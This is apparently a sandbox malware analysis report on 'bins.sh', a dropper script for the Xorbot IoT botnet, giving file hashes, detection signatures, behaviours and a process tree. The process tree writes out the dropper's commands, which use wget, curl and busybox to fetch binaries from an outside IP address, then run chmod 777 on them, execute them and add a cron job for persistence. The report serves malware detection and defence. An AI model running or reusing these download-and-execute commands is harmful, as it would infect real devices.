Analysis

  • max time kernel
    150s
  • max time network
    85s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/12/2024, 08:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d32474a35e8f1f0273df0472abcffbd1

  • SHA1

    7050456a281a217032b8081dc2fecde1dd47d39a

  • SHA256

    d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59

  • SHA512

    1420ac3b05b7dbaee44d19c3ba64415fe46db9f61e5c552939ea6354e5df6a5a704e9c9cdc33c84c08836d7092cb0e74305970dfd54eb31a85cbda87b91acdf6

  • SSDEEP

    96:nI3vGLKKLHEkGNhIZC8OVLX7tW63nYClcRWd3vGXEKEkGNh3sZCoKOrXL4VLX7wJ:nLKKLXZC5fW63nYCWpZCbh3nYYC

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:656
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:671
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          ./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Executes dropped EXE
          PID:681
        • /bin/rm
          rm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:685
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:686
          • /bin/chmod
            chmod 777 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • File and Directory Permissions Modification
            PID:690
          • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            ./bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Executes dropped EXE
            PID:691
          • /bin/rm
            rm bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
              PID:695
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:696
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:703
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:718
            • /bin/chmod
              chmod 777 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • File and Directory Permissions Modification
              PID:722
            • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              ./X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:723
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:726
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:727
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:728
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:730
                • /bin/rm
                  rm X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
                  2⤵
                    PID:734
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                    2⤵
                      PID:737
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                      2⤵
                        PID:739
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        2⤵
                        • Writes file to tmp directory
                        PID:741
                      • /bin/chmod
                        chmod 777 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        2⤵
                        • File and Directory Permissions Modification
                        PID:751
                      • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        ./6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        2⤵
                        • Executes dropped EXE
                        PID:752
                      • /bin/rm
                        rm 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                        2⤵
                          PID:753
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                          2⤵
                            PID:754
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                            2⤵
                              PID:755

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /var/spool/cron/crontabs/tmp.pDEnsl

                                  Filesize

                                  210B

                                  MD5

                                  58ee69a73487ad4ff5824bf3cff93b09

                                  SHA1

                                  7ee402db6efcbd7183cba55e58c3282a873661bb

                                  SHA256

                                  a36da04c23085c3a977cf02123862a8073b64d639853ee80d05976b49831c4e7

                                  SHA512

                                  777201b12cd289738d37d8e8f83dc3c779cff98e9ba22f65da7e0ee47f4e38adb7ac140de037a217cd40162782d78607052c157ee705859f69c2ae6d87614279